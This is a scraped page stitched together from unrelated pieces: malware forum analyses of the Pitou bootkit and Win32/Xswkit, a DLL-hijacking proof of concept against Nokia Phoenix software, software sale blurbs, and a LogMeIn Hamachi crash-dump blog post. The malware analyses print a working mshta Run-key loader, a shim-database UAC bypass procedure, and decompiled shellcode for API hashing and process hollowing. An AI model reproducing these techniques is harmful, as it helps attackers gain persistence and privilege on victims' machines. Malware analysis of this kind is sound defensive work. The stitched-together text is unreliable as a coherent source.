Server: Apache/2.2.22 (Debian)
Last-Modified: Sat, 27 Dec 2014 11:56:11 GMT
ETag: "26009a-7da00-50b3153deb85e"
Accept-Ranges: bytes
Content-Length: 514560
Connection: close
Content-Type: application/x-msdos-programBootkit data storage:
Located at the end of the system disk in unpartitionable space. Structure is simple -> initialization code, copy of original mbr used for faking while filtering I/O requests and next lolkit driver. Depending on mode there will be x86-32 driver or x64 version of the same trash.
VT scans:
dropper (dotnet crypter)
for x64 driver
for x86-32 driver
Previously analyzed Pitou variant used xor encryption over these data with hardcoded 0xDEADBEEF key, decrypting contents of bootkit code upon bootkit MBR execution. This one stores data without any encryption.
Small code for decoding bootkit data used for previous version/build
#include <windows.h>
#include <intrin.h>
#define DATASIZE 0x6c000 //0x78c00 for x64
void main()
{
HANDLE f;
DWORD iobytes;
DWORD *buffer, s0 = 0xdeadbeef;
ULONG c;
f = CreateFile(TEXT("c:\\malware\\pitou\\uspace_32.dat"), GENERIC_READ | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if ( f != INVALID_HANDLE_VALUE ) {
buffer = (DWORD *)VirtualAlloc(NULL, DATASIZE, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if ( buffer != NULL ) {
ReadFile(f, buffer, DATASIZE, &iobytes, NULL);
for (c=0; c<(DATASIZE/4); c++) {
buffer[c] = buffer[c] ^ s0;
s0 = _rotr(s0, 1);
}
}
CloseHandle(f);
f = CreateFile(TEXT("c:\\malware\\pitou\\uspace_32.dmp"), GENERIC_ALL | SYNCHRONIZE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
if ( f != INVALID_HANDLE_VALUE ) {
WriteFile(f, buffer, DATASIZE, &iobytes, NULL);
CloseHandle(f);
}
VirtualFree(buffer, 0, MEM_RELEASE);
}
ExitProcess(0);
}Pitou dropper + extracted drivers in attach, upon successful installation it will force Windows reboot by NtShutdownSystem call. For direct disk access during installation dropper uses IOCTL_SCSI_PASS_THROUGH request.
P.S.
F-Secure coverage of earlier Pitou version https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf
Pitou UAC bypass reconstructed method UACMe - Defeating Windows User Account Control', however this particular dropper
seems unable to bypass UAC.
Pass: infected
-
Credits for sample to Tigzy and R136a1, preliminary analysis done by R136a1.
Win32/Xswkit is another clone of Win32/Poweliks but with number of additions, such as embedded UAC bypass and different startup method (rundll + mshta.exe). Purpose: malware downloader.
Update 04/01/2015
See viewtopic.php?p=24827#p24827
UAC bypass is similar to used by Gootkit, reconstructed can be found -> here.
During installation Xswkit builds shim database patch, drops it to %temp% folder and executes sdbinst with -q parameter and path to new database. Entry itself is shim RedirectEXE
<DATABASE tid="0xf0" typ="LIST">
<TIME tid="0xf6" typ="QWORD">0x1d014b31a06ce99</TIME>
<COMPILER_VERSION tid="0x100" typ="STRINGREF">2.1.0.3</COMPILER_VERSION>
<NAME tid="0x106" typ="STRINGREF">qrywI9lBMKdLH</NAME>
<OS_PLATFORM tid="0x10c" typ="DWORD">0x1</OS_PLATFORM>
<DATABASE_ID tid="0x112" typ="BINARY" len="0x10" guid="1AC61212-7AC0-464A-8B9815BC2854072E" />
<LIBRARY tid="0x128" typ="LIST">
</LIBRARY>
<EXE tid="0x12e" typ="LIST">
<NAME tid="0x134" typ="STRINGREF">cliconfg.exe</NAME>
<APP_NAME tid="0x13a" typ="STRINGREF">nv0NK43fWQ</APP_NAME>
<VENDOR tid="0x140" typ="STRINGREF">Microsoft</VENDOR>
<EXE_ID tid="0x146" typ="BINARY" len="0x10" guid="E6D3E2BF-6CBF-0C43-B41AA519B962860C" />
<MATCHING_FILE tid="0x15c" typ="LIST">
<NAME tid="0x162" typ="STRINGREF">*</NAME>
<COMPANY_NAME tid="0x168" typ="STRINGREF">Microsoft Corporation</COMPANY_NAME>
<INTERNAL_NAME tid="0x16e" typ="STRINGREF">cliconfg.exe</INTERNAL_NAME>
</MATCHING_FILE>
<SHIM_REF tid="0x174" typ="LIST">
<NAME tid="0x17a" typ="STRINGREF">RedirectEXE</NAME>
<COMMAND_LINE tid="0x180" typ="STRINGREF">"C:\Malware\1.exe" -z "C:\Users\UserMan\AppData\Local\Temp\AF293.tmp"</COMMAND_LINE>
</SHIM_REF>
</EXE>
</DATABASE>
So malware installation steps are following:
1) generate SDB shim patch and drop it to %temp% folder
2) register shim with sdbinst (no UAC prompt on default UAC settings)
3) run target application -> cliconfg.exe, terminate itself
4) cliconfg.exe (no UAC prompt on default UAC settings) executes malicious shim and starts malware dropper again with given commandline arguments
5) dropper installs itself to the system with full admin rights
Below is R136a1 analysis he was so kind to share.
1) Set value in Registry:Key: HKEY_CURRENT_USER\Software
Value: {d42d0afb-3638-4326-b67b-b0cb954fba94} (REG_SZ)
2) Create Key and set values in Registry:
Key: HKEY_CURRENT_USER\Software\ xsw
Value: binaryImage32 (REG_BINARY) -> Copy of itself
Value: loader (REG_SZ) -> Javascript code
3) Create new process C:\WINDOWS\system32\svchost.exe (Process hijack)
4) Exit old process
5) Set value in Registry:
Key: HKEY_CURRENT_USER\Software
Value: {d42d0afb-3638-4326-b67b-b0cb954fba94} (REG_SZ)
6) Create Key and set values in Registry:
Key: HKEY_USERS\.DEFAULT\Software\ xsw
Value: binaryImage32 (REG_BINARY) -> Copy of itself
Value: loader (REG_SZ) -> Javascript code
Set Key in Registry:
Key: HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run
Value: rundll32 (REG_SZ)
Data: mshta "about:<title> </title><script>moveTo(-300,-300);resizeTo(0,0);</script><hta:application showintaskbar=no><script>eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\ xsw\\loader'));if(!window.flag)close()</script>"
7) Create Key and set values in Registry:
Key: HKEY_USERS\S-1-5-19\Software\ xsw
Value: binaryImage32 (REG_BINARY) -> Copy of itself
Value: loader (REG_SZ) -> Javascript code
Set Key in Registry:
Key: HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Run
Value: rundll32 (REG_SZ)
Data: mshta "about:<title> </title><script>moveTo(-300,-300);resizeTo(0,0);</script><hta:application showintaskbar=no><script>eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\ xsw\\loader'));if(!window.flag)close()</script>"
8) Create Key and set values in Registry:
Key: HKEY_USERS\S-1-5-20\Software\ xsw
Value: binaryImage32 (REG_BINARY) -> Copy of itself
Value: loader (REG_SZ) -> Javascript code
Set Key in Registry:
Key: HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Run
Value: rundll32 (REG_SZ)
Data: mshta "about:<title> </title><script>moveTo(-300,-300);resizeTo(0,0);</script><hta:application showintaskbar=no><script>eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\ xsw\\loader'));if(!window.flag)close()</script>"
9) Download and install a lot of root certificates
10) Set values in Registry:
Key: HKEY_CURRENT_USER\Software
Value: binaryImage32_0...binaryImage32_5 (REG_BINARY)
Data: ...
11) Inject code into explorer.exe (+ firefox.exe + iexplore.exe after opening)
??? 12) ESENT.dll loading by injected processes ???
13) Create Key and set values in Registry:
Key: HKEY_CURRENT_USER\Software\cxsw
Value: {c1e2bc64-8d94-461f-a485-50a7322bfb4a} (REG_BINARY)
Data: ...
Value: {da14b39e-535a-4b08-9d68-ba6d14fed630} (REG_BINARY)
Data: ...
More from mutex {a1ba4f72-9762-4864-8889-478ac3bdb354}:
More from registry value {d42d0afb-3638-4326-b67b-b0cb954fba94}:
http://totalhash.com/analysis/efd11b782fb2ab225e2231c563f5860c804ece07
http://totalhash.com/analysis/dded6ea7392d35b14347ea06c4cf8acc5b32bcc5
http://totalhash.com/analysis/0bd288047e646fd32ba08db01d56779f02b2befa
http://totalhash.com/analysis/258fc44bdae12f21dd9bdded1ce22cee5850c9c1
http://www.threatexpert.com/report.aspx?md5=18ada38d7a0466240ea9bde1c1d8b956
Malware uses Windows tool mshta.exe and DynamicWrapperX:Lets continue.
Loader script is very huge (144kb) as it contains copy of mshta.exe, dynwrapx.dll, their manifests and shellcode, everything you will find in attach.
How malware operates after reboot.
It runs from Software\Microsoft\Windows\CurrentVersion\Run key by rundll32 which executes the following
mshta "about:<title> </title><script>moveTo(-300,-300);resizeTo(0,0);</script><hta:application showintaskbar=no><script>eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\ xsw\\loader'));if(!window.flag)close()</script>"Hidden window with script that does next loading stage.
Once executed it performs the following piece of code read from loader registry value at previous stage
try {
var DWX = new ActiveXObject(\"DynamicWrapperX\");
ExecuteShellCode();
function ExecuteShellCode(){
var CodeAddr = DWX.RegisterCode(ShellcodeHexStr, \"executeCode\", \"i=l\", \"r=l\");
DWX.executeCode(0);
}
Exit();
} catch(e) {
SetupDWX();
}It attempts to create new ActiveXObject "DynamicWrapperX" which allows code execution, if it failed then it installs this additions in SetupDWX routine.
function SetupDWX()
{
if (!FileExists(DefaultDir+\"mshta.exe\")) UnpackResource(\"mshta.exe\", DefaultDir +\"mshta.exe\");
if (!FileExists(DefaultDir+\"dynwrapx.dll\")) UnpackResource(\"dynwrapx.dll\", DefaultDir +\"dynwrapx.dll\");
if (!FileExists(DefaultDir+\"dynwrapx.sxs.manifest\")) UnpackResource(\"dynwrapx.sxs.manifest\", DefaultDir +\"dynwrapx.sxs.manifest\");
if (!FileExists(DefaultDir+\"mshta.exe.manifest\")) UnpackResource(\"mshta.exe.manifest\", DefaultDir +\"mshta.exe.manifest\");
WshShell.Run('\"'+DefaultDir+\"mshta.exe\\\" \\\"\"+HTARunCommand+'\"',0,0);
Exit();
}Shellcode section also read from loader registry key and this is a final malware startup stage. Main purpose of it - read actual malware body stored in registry as binaryImageXX value data (where XX is platform -32 or 64), start suspended svchost.exe, unmap it original code, map malicious payload and run it.
Shellcode uses API hashing and global shellcode description structure, dynamically allocated during execution.
Below is API hashing function
unsigned long get_hash(char *s)
{
unsigned long v1 = 0x1505;
while (*s != 0) {
v1 += *(unsigned char *)s + (v1 << 5);
s++;
}
return v1;
}shell context allocation routine
struct_v23 *__cdecl CreateShellContext()
{
int hUser32; // eax@4
int v1; // eax@4
int v2; // eax@4
int v4; // [sp+0h] [bp-50h]@1
int v5; // [sp+4h] [bp-4Ch]@1
int v6; // [sp+8h] [bp-48h]@1
int v7; // [sp+Ch] [bp-44h]@1
int v8; // [sp+10h] [bp-40h]@1
int v9; // [sp+14h] [bp-3Ch]@1
int v10; // [sp+18h] [bp-38h]@1
int szAdvapi32; // [sp+1Ch] [bp-34h]@1
int v12; // [sp+20h] [bp-30h]@1
int v13; // [sp+24h] [bp-2Ch]@1
int v14; // [sp+28h] [bp-28h]@1
int szNtdll; // [sp+2Ch] [bp-24h]@1
int v16; // [sp+30h] [bp-20h]@1
int v17; // [sp+34h] [bp-1Ch]@1
int szUser32; // [sp+38h] [bp-18h]@1
int v19; // [sp+3Ch] [bp-14h]@1
int v20; // [sp+40h] [bp-10h]@1
int VirtualAlloc; // [sp+44h] [bp-Ch]@2
int hKernel32; // [sp+48h] [bp-8h]@1
struct_v23 *shell_ctx; // [sp+4Ch] [bp-4h]@1
shell_ctx = 0;
v4 = 'e\0k';
v5 = 'n\0r';
v6 = 'l\0e';
v7 = '2\03';
v8 = 'd\0.';
v9 = 'l\0l';
v10 = 0;
hKernel32 = GetModuleHandle(&v4);
szNtdll = 'ldtn';
v16 = 'ld.l';
v17 = 'l';
szAdvapi32 = 'avda';
v12 = '23ip';
v13 = 'lld.';
v14 = 0;
szUser32 = 'resu';
v19 = 'd.23';
v20 = 'll';
if ( hKernel32 )
{
VirtualAlloc = ApiFromHash(hKernel32, 0x382C0F97u);
if ( VirtualAlloc )
{
shell_ctx = (VirtualAlloc)(0, 0xC4u, 0x3000u, 64);
if ( shell_ctx )
{
shell_ctx->hKernel32 = hKernel32;
shell_ctx->VirtualAlloc = VirtualAlloc;
shell_ctx->VirtualFree = ApiFromHash(shell_ctx->hKernel32, 0x668FCF2Eu);
shell_ctx->Sleep = ApiFromHash(shell_ctx->hKernel32, 0xE19E5FEu);
shell_ctx->LoadLibraryExA = ApiFromHash(shell_ctx->hKernel32, 0x4F803C78u);
shell_ctx->CreateThread = ApiFromHash(shell_ctx->hKernel32, 0x7F08F451u);
shell_ctx->lstrlenA = ApiFromHash(shell_ctx->hKernel32, 0xD2C4AB0Au);
shell_ctx->GetProcAddress = ApiFromHash(shell_ctx->hKernel32, 0xCF31BB1Fu);
shell_ctx->LocalFree = ApiFromHash(shell_ctx->hKernel32, 0xA66DF372u);
shell_ctx->CloseHandle = ApiFromHash(shell_ctx->hKernel32, 0x3870CA07u);
shell_ctx->GetCurrentProcess = ApiFromHash(shell_ctx->hKernel32, 0xCA8D7527u);
shell_ctx->ExpandEnvironmentStringsW = ApiFromHash(shell_ctx->hKernel32, 0x7487495Bu);
shell_ctx->CreateProcessW = ApiFromHash(shell_ctx->hKernel32, 0xAEB52E2Fu);
shell_ctx->GetThreadContext = ApiFromHash(shell_ctx->hKernel32, 0xEBA2CFC2u);
shell_ctx->ReadProcessMemory = ApiFromHash(shell_ctx->hKernel32, 0xB8932459u);
shell_ctx->lstrcatW = ApiFromHash(shell_ctx->hKernel32, 0xD2BFAB79u);
shell_ctx->ResumeThread = ApiFromHash(shell_ctx->hKernel32, 0x74162A6Eu);
shell_ctx->SetThreadContext = ApiFromHash(shell_ctx->hKernel32, 0x7E20964Eu);
shell_ctx->VirtualProtectEx = ApiFromHash(shell_ctx->hKernel32, 0xD812922Au);
shell_ctx->WriteProcessMemory = ApiFromHash(shell_ctx->hKernel32, 0x6F22E8C8u);
shell_ctx->VirtualAllocEx = ApiFromHash(shell_ctx->hKernel32, 0xF36E5AB4u);
shell_ctx->hNtdll = shell_ctx->LoadLibraryExA(&szNtdll, 0, 0);
shell_ctx->RtlCreateHeap = ApiFromHash(shell_ctx->hNtdll, 0xAFAAC189u);
shell_ctx->RtlAllocateHeap = ApiFromHash(shell_ctx->hNtdll, 0xC0B381DAu);
shell_ctx->RtlReAllocateHeap = ApiFromHash(shell_ctx->hNtdll, 0xBBC97911u);
shell_ctx->RtlFreeHeap = ApiFromHash(shell_ctx->hNtdll, 0x70BA71D7u);
shell_ctx->NtTerminateThread = ApiFromHash(shell_ctx->hNtdll, 0xAC3C9DC8u);
shell_ctx->RtlDecompressBuffer = ApiFromHash(shell_ctx->hNtdll, 0xF73BBD46u);
shell_ctx->NtOpenKey = ApiFromHash(shell_ctx->hNtdll, 0x4BB73E02u);
shell_ctx->wcslen = ApiFromHash(shell_ctx->hNtdll, 0x24B549F1u);
shell_ctx->NtUnmapViewOfSection = ApiFromHash(shell_ctx->hNtdll, 0x595014ADu);
shell_ctx->hAdvapi32 = shell_ctx->LoadLibraryExA(&szAdvapi32, 0, 0);
shell_ctx->RegOpenKeyExW = ApiFromHash(shell_ctx->hAdvapi32, 0x74A9772u);
shell_ctx->ConvertSidToStringSidW = ApiFromHash(shell_ctx->hAdvapi32, 0x99A22DD7u);
shell_ctx->RegSetValueExA = ApiFromHash(shell_ctx->hAdvapi32, 0x345872EAu);
shell_ctx->RegQueryValueExA = ApiFromHash(shell_ctx->hAdvapi32, 0x6B95D114u);
shell_ctx->RegOpenKeyExA = ApiFromHash(shell_ctx->hAdvapi32, 0x74A975Cu);
shell_ctx->RegCreateKeyExA = ApiFromHash(shell_ctx->hAdvapi32, 0x46CEB39Eu);
shell_ctx->RegCloseKey = ApiFromHash(shell_ctx->hAdvapi32, 0x736B3702u);
shell_ctx->RegEnumKeyA = ApiFromHash(shell_ctx->hAdvapi32, 0xF367EA22u);
shell_ctx->OpenProcessToken = ApiFromHash(shell_ctx->hAdvapi32, 0xC57BD097u);
shell_ctx->GetTokenInformation = ApiFromHash(shell_ctx->hAdvapi32, 0x8ED47F2Cu);
shell_ctx->IsValidSid = ApiFromHash(shell_ctx->hAdvapi32, 0x3D180391u);
hUser32 = (shell_ctx->LoadLibraryExA)(&szUser32, 0, 0);
shell_ctx->MessageBoxA = ApiFromHash(hUser32, 0x384F14B4u);
shell_ctx->wsprintfA = ApiFromHash(hUser32, 0xF898B8C3u);
shell_ctx->wsprintfW = ApiFromHash(hUser32, 0xF898B8D9u);
shell_ctx->hHeap = shell_ctx->RtlCreateHeap(2, 0, 0, 0, 0);
}
}
}
return shell_ctx;
}and svchost spawning code
Strings from actual malware
RtlCreateUserThread NtClose InternetReadFile HttpOpenRequestA InternetCloseHandle HttpSendRequestA InternetOpenA InternetConnectA HttpQueryInfoA InternetQueryOptionA InternetSetOptionA InternetSetFilePointer HttpAddRequestHeadersA L a s t H a r d w a r e H a s h b i n a r y I m a g e % d % s _ % d \ R E G I S T R Y \ U S E R \ % s \ R e g i s t r y \ U s e r % S y s t e m R o o t % \ S y s t e m 3 2 \ n t d l l . d l l RtlDecompressBuffer ntdll.dll RtlComputeCrc32 a p p h e l p . d l l SdbBeginWriteListTag SdbCloseDatabase SdbCloseDatabaseWrite SdbCommitIndexes SdbCreateDatabase SdbDeclareIndex SdbEndWriteListTag SdbFindFirstDWORDIndexedTag SdbFindFirstTag SdbFindNextTag SdbFormatAttribute SdbFreeFileAttributes SdbGetAppPatchDir SdbGetBinaryTagData SdbGetFileAttributes SdbGetFirstChild SdbGetIndex SdbGetMatchingExe SdbGetNextChild SdbGetStringTagPtr SdbGetTagFromTagID SdbInitDatabase SdbIsStandardDatabase SdbMakeIndexKeyFromString SdbOpenApphelpDetailsDatabase SdbOpenApphelpResourceFile SdbOpenDatabase SdbQueryDataExTagID SdbReadApphelpDetailsData SdbReadBinaryTag SdbReadDWORDTag SdbReadQWORDTag SdbReadStringTag SdbRegisterDatabaseEx SdbReleaseDatabase SdbReleaseMatchingExe SdbStartIndexing SdbStopIndexing SdbTagRefToTagID SdbTagToString SdbUnregisterDatabase SdbWriteBinaryTag SdbWriteBinaryTagFromFile SdbWriteDWORDTag SdbWriteNULLTag SdbWriteQWORDTag SdbWriteStringTag SdbWriteWORDTag ShimFlushCache BaseFlushAppcompatCache generic unknown error iostream iostream stream error system 2 . 1 . 0 . 3 d?@ °H@ PI@ `I@ ?H@ 0I@ ?H@ ?@ °H@ ?I@ `I@ J@ 0I@ ?H@ ??@ °H@ ?I@ I@ ?H@ 0I@ ?H@ °?@ °H@ 0@ 0@ ?H@ 0I@ ?H@ SHGetKnownFolderPath Shell32.dll SHGetSpecialFolderPathW \ R e g i s t r y \ M a c h i n e \ S o f t w a r e \ M i c r o s o f t \ C r y p t o g r a p h y M a c h i n e G u i d \ R E G I S T R Y \ U S E R \ % s \ S o f t w a r e \ A p p D a t a L o w \ R E G I S T R Y \ U S E R \ % s \ S o f t w a r e \ R E G I S T R Y \ U S E R \ % s \ % s S e R e s t o r e P r i v i l e g e d?@ pm@ - z c l i c o n f g . e x e s d b i n s t . e x e a b c d e f g h i j k l m n o p q r s t v u w x y z A B C D E F G H I J K L M N O P Q R S T U V W 0 1 2 3 4 5 6 7 8 9 _ A S y s W O W 6 4 s y s t e m 3 2 \ M i c r o s o f t R e d i r e c t E X E M i c r o s o f t C o r p o r a t i o n * " " - q " % s " - q - u " % s " r u n a s IsWow64Process k e r n e l 3 2 . d l l explorer.exe chrome.exe opera.exe iexplore.exe lsass.exe firefox.exe LoadLibraryExA kernel32.dll GetProcAddress VirtualProtect VirtualAlloc CreateThread VirtualQuery ZwOpenProcess % S y s t e m R o o t % \ S y s t e m 3 2 \ b i n a r y I m a g e 3 2 l o a d e r { d 4 2 d 0 a f b - 3 6 3 8 - 4 3 2 6 - b 6 7 b - b 0 c b 9 5 4 f b a 9 4 } w i n d i r % s \ s y s t e m 3 2 \ c m d . e x e / c " s t a r t % s " d e s k t o p . i n i { 2 7 3 b 5 8 8 4 - 3 6 2 d - 4 f f 7 - 8 d 6 5 - 6 4 a c 2 e 7 f c 2 9 1 } \ h u i % s \ h u i % d . e x e { a 1 b a 4 f 7 2 - 9 7 6 2 - 4 8 6 4 - 8 8 8 9 - 4 7 8 a c 3 b d b 3 5 4 } \ s v c h o s t . e x e s v c h o s t . e x e @ @ LdrGetProcedureAddress NtAllocateVirtualMemory NtFreeVirtualMemory NtWriteVirtualMemory H F:\Devel\usermode-rootkit\usermode-rootkit\bin\usermode-rootkit_Win32.pdbNo actual name except
F:\Devel\usermode-rootkit\usermode-rootkit\bin\usermode-rootkit_Win32.pdbI'm curious when they realize that /DEBUG option should be turned off in release builds.
Original dropper, unpacked malware, full loader text and extracted shellcode in attach.
VT
original
unpacked
No actual detection only trash.
P.S.
+ actual loading screenshot, as you can see Sysinternals Autoruns cannot recognize this entry as rogue, more to say if you select Verify Digital Signatures it will list it as totally legit.
Pass: infected
-
It's a pretty great extension for analysis and reversing, and I've used it quite a bit when looking at lots of different kernel-level malware. I didn't see it posted on here so I thought I'd go ahead and post it. I've contributed to its documentation before in the past, so it's pretty neat seeing it go open-source.
-
/*
* Exploit Title: Phoenix Service Software 2012.16.004.48159(Nokia) DLL Hijacking Exploit (phoenix_resources.dll,iagnostic_log.dll,phoenix_resources.dll,diagnostic_log.dll)
* Date: 25/12/2014
* Author:Hadji Samir s-dz@hotmail.fr
* Version: 2012.16.004.48159
* Vendor Homepage: http://www.Nokia.com/
* Tested on: Windows 7
*/
#include <windows.h>
BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
owned();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int owned() {
MessageBox(0, "Phoenix DLL Hijacked\Hadji Samir", "POC", MB_OK);
} -
ABBYY FineReader 5 Professional accurately converts paper and image documents (e.g. regular and scanned PDFs) into editable formats including Microsoft Office and searchable PDF using world-class OCR technology – enabling you to reuse their content, archive them more efficiently and retrieve more quickly.
ABBYY FineReader 5 Professional eliminates the need to retype documents and ensures that important information is readily available. It instantly provides access to the entire document of any size and supports over 100 languages in any combinations.
ABBYY FineReader 5 Professional is an old version; however, it is, as they say, old but still gold.
Sale ends in 1 day 14 hrs 30 mins
-
PhotoStitcher allows you to easily and automatically combine your photos and images into a panorama.
Sale ends in 2 days 14 hrs 30 mins
-
Last updated 2/5/2014 - Update #7) - Updates are scattered throughout the blog post, so I'd recommend using CTRL+F "Update #numberhere" without the quotations of course to get to the update you'd like to read.
To those reading currently experiencing the 0x44 BSOD caused by LogMeIn Hamachi, the only current workaround until LogMeIn implements a fix and/or releases a stable version is to fully uninstall LogMeIn Hamachi.
As of 2/5/2014, a LogMeIn update has been released that addresses this bug. Be sure to go ahead and download and/or update to the latest version if yours doesn't automatically:
Thanks to timbadia @ Sysnative for the screenshot!
--------------------------------
At this point, Harry (x BlueRobot) and I have analyzed this to the point where we can do no more as we are only volunteer analysts with an interest in helping people. We've found consistency thanks to everyone who submitted kernel-dumps. If you would like to do your part in making sure this gets solved, please go ahead and submit a support ticket (HERE) and in the 'Please describe your issue or question' field, if you could include a link to this blog post so the LogMeIn team can see what the problem is, etc, so this can be solved as fast as possible for its users, that would be fantastic.
Keep reading below if you'd like to learn more about the specifics and internals of this crash! : )
--------------------------------
So, what's the problem?
Well, first off, the bug check seems to consistently be MULTIPLE_IRP_COMPLETE_REQUESTS (44).
-- A driver has called IoCompleteRequest to ask that an IRP be completed, but the packet has already been completed.
When dealing with the first thread, the first thing I did was straight away take a look at the call stack and saw this:
Very simple call stack, really.
1. We have Hamdrv.sys (LogMeIn Hamachi Virtual Miniport Driver).
2. nt! ?? ::FNODOBFM::`string'+0x2a9ab - TO MY KNOWLEDGE, the debugger (WingDbg) is slightly confused about symbol names in NTDLL due to the binary being reorganized into function chunks. The functions are no longer contiguous in memory. Hot code paths are clustered together with hot code paths of other functions. “Cold” code paths are moved elsewhere. That way you save on paging I/O by maximizing the amount of relative data on each code page.
Essentially, to my understanding, when a sequence of code is compiled, it will occupy a single contiguous chunk of memory. With this said however, the optimizer can spread the executable code all over the place, replacing the inline code with a jump to some other memory location. As said above, this is done for two main reasons (maybe more, but I only understand two):
A. Code size - If there's a common code sequence, make a copy and have everything jump to that copy.
B. Locality of reference - If there's a code path that is taken quite often, putting that code together into a single location can possibly improve performance. As far as how this improves performance, to my knowledge it's mostly cache purposed. For example, a TLB (Translation lookaside buffer).
With this said, if the optimizer moves the code to a different (random) location, what happens to the information in the PDB (Program Database)?
When this happens, to my knowledge, FunctionName+Offset no longer equals FunctionAddress+Offset, therefore the output of information in the debugger isn't correct. In these specific cases, the code is moved to a location (which is random, to my knowledge) and the closest symbolic name is a string in the image. When this happens, the debugger (WinDbg) uses the string as a best guess for the return address on the stack.
To further debug this, I believe I would need to set breakpoints and then disassemble a specific routine and take a look at the control flaws (which since this is not happening to me, I cannot do). Also, as much as I am interested in doing something like this, requesting the average computer user on a forum such as MS Answers to set a breakpoint(s) for knowledge related purposes is going a little far. It's just another reason for me to set up a guinea pig system.
3. Bug check itself.
-------------
At first I thought it may have been the same user just making a new thread under a separate account possibly because they didn't want to follow my advice, but:
^^ Different models entirely, however the OS environment remained consistent (Windows 8.1). With this said, possibly a bug exclusive to 8.1.
-------------
At first glance of the original dump I saw, I figured there may have been security software installed on the system in question that was causing conflicts with remote access, etc. I took a look at the loaded modules list and noted McAfee, nothing more. I informed the user to remove McAfee as it may be causing conflicts, but the same exact issue and bug check persisted after McAfee's removal. With this said, it does not appear to be caused by anything network and/or security related, although I could be wrong.
As per usual, there doesn't appear to be a simple way to contact LogMeIn if you don't have an account, and their customer support seems to have vanished entirely since Jan 21st (their move away from being FREE). With this said, not sure how to bring this up. I'll keep my eyes peeled for any other of the same bug check.
-------------
Update #1 - A few thread examples:
1. Blue Screen Error - Bugcheck - Microsoft Community
2. Windows 8.1 Error : MULTIPLE IRP COMPLETE REQUESTS. - Microsoft Community
3. BSOD Win 8.1 Multiple Complete IRP Request
4. BLUE SCREEN - MULTIPLE IRP COMPLETE REQUESTS
-- All are the same OS environment (Windows 8.1). I was thinking of providing a link for each 0x44 BSOD thread I come across, but that would be quite a bit. I may do it eventually, just not now.
I've also received notice from my good friend and Microsoft MVP zigzag3143 that he has seen quite a number of these popping up very recently. At this point, it's very evident there is a bug with the software itself and Windows 8.1 as an OS, and that this is very likely NOT a user specific or system specific issue.
Update #2 - I discovered that LogMeIn has a ticket system (here), so I've gone ahead and reported this issue. I hope to hear from them soon!
Update #3 - I have not received a response from LogMeIn since submitting a ticket, and I probably won't. In other news, I received a kernel-dump from a very generous user after I requested if it's possible they allow their system to crash with the system set to generate kernel dumps as opposed to minidumps. This way, I would be able to take a closer look and get more information. Here is what I was able to see:
First off, the call stack is interesting:
7: kd> kv
Child-SP RetAddr : Args to Child : Call Site
fffff880`031a9d48 fffff803`d802e6f2 : 00000000`00000044 fffffa80`0ea3f910 00000000`00000f7a 00000000`00000000 : nt!KeBugCheckEx
fffff880`031a9d50 fffff880`1a801f0a : 00000000`00000000 fffff880`1ca7ac00 fffffa80`0c7852c0 fffffa80`0c7852c0 : nt! ?? ::FNODOBFM::`string'+0xb318
fffff880`031a9e30 fffff880`1a803059 : fffffa80`0c7852c0 fffff880`031a9f00 fffff880`031a9f80 fffffa80`0000004a : Hamdrv+0x1f0a
fffff880`031a9e80 fffff880`1a802a56 : fffff880`031aa680 fffffa80`00000001 fffffa80`09686b90 fffffa80`09686cf0 : Hamdrv+0x3059
fffff880`031aa540 fffff880`01e7dcc9 : fffffa80`0b3f51a0 fffffa80`09686b90 00000000`00000000 00000000`00000000 : Hamdrv+0x2a56
fffff880`031aa570 fffff880`01e7c166 : fffffa80`09686b90 00000000`00000000 fffffa80`0c4dd7f0 fffffa80`0c4dd7f0 : ndis!ndisMSendNBLToMiniport+0xc9
fffff880`031aa5f0 fffff880`02305230 : fffffa80`09686b90 00000000`00000001 fffffa80`09686b90 fffffa80`0c4dd7f0 : ndis!ndisFilterSendNetBufferLists+0xd6
fffff880`031aa630 fffff880`0230540f : 00000000`00000000 fffffa80`09686b90 00000000`00000000 fffffa80`0c4dd7f0 : wfplwfs!L2NdisFSendNetBufferLists+0x80
fffff880`031aa670 fffff880`01e7dd8d : 00000000`00000000 fffffa80`09686b90 00000000`00000000 00000000`00000000 : wfplwfs!LwfLowerSendNetBufferLists+0x9f
fffff880`031aa6e0 fffff803`d80cb9a6 : 00000000`00000202 fffff803`d877abb9 fffff880`04714970 00000000`000007ff : ndis!ndisDataPathExpandStackCallback+0x31
fffff880`031aa720 fffff803`d80ce405 : fffff880`01e7dd5c fffff880`031aa910 00000000`00000000 fffff803`d82a8a08 : nt!KeExpandKernelStackAndCalloutInternal+0xe6
fffff880`031aa820 fffff880`01e7c05f : fffff8a0`046587f0 fffff803`d828d409 00000000`00000001 fffff803`d828c200 : nt!KeExpandKernelStackAndCalloutEx+0x25
fffff880`031aa860 fffff880`01e7c166 : 00000000`00000000 fffffa80`094f5bf0 fffffa80`08ff9970 00000000`00000000 : ndis!ndisInvokeNextSendHandler+0x2de
fffff880`031aa970 fffff880`04796997 : fffffa80`09686b90 00000000`00000022 fffffa80`0c5aebf0 fffff880`031aaa39 : ndis!ndisFilterSendNetBufferLists+0xd6
fffff880`031aa9b0 fffff880`0479bbc5 : fffffa80`0e44950e fffffa80`0e449500 fffffa80`0000004a fffffa80`00000014 : bdfndisf6+0x3997
fffff880`031aaaa0 fffff803`d80c4b77 : fffffa80`095061a0 00000000`0020b553 00000000`00000000 fffff880`0479b934 : bdfndisf6+0x8bc5
fffff880`031aab10 fffff803`d80b42a1 : fffff803`d82a2110 fffffa80`0850a040 fffff803`d80c4b18 fffff803`d807fc00 : nt!IopProcessWorkItem+0x5f
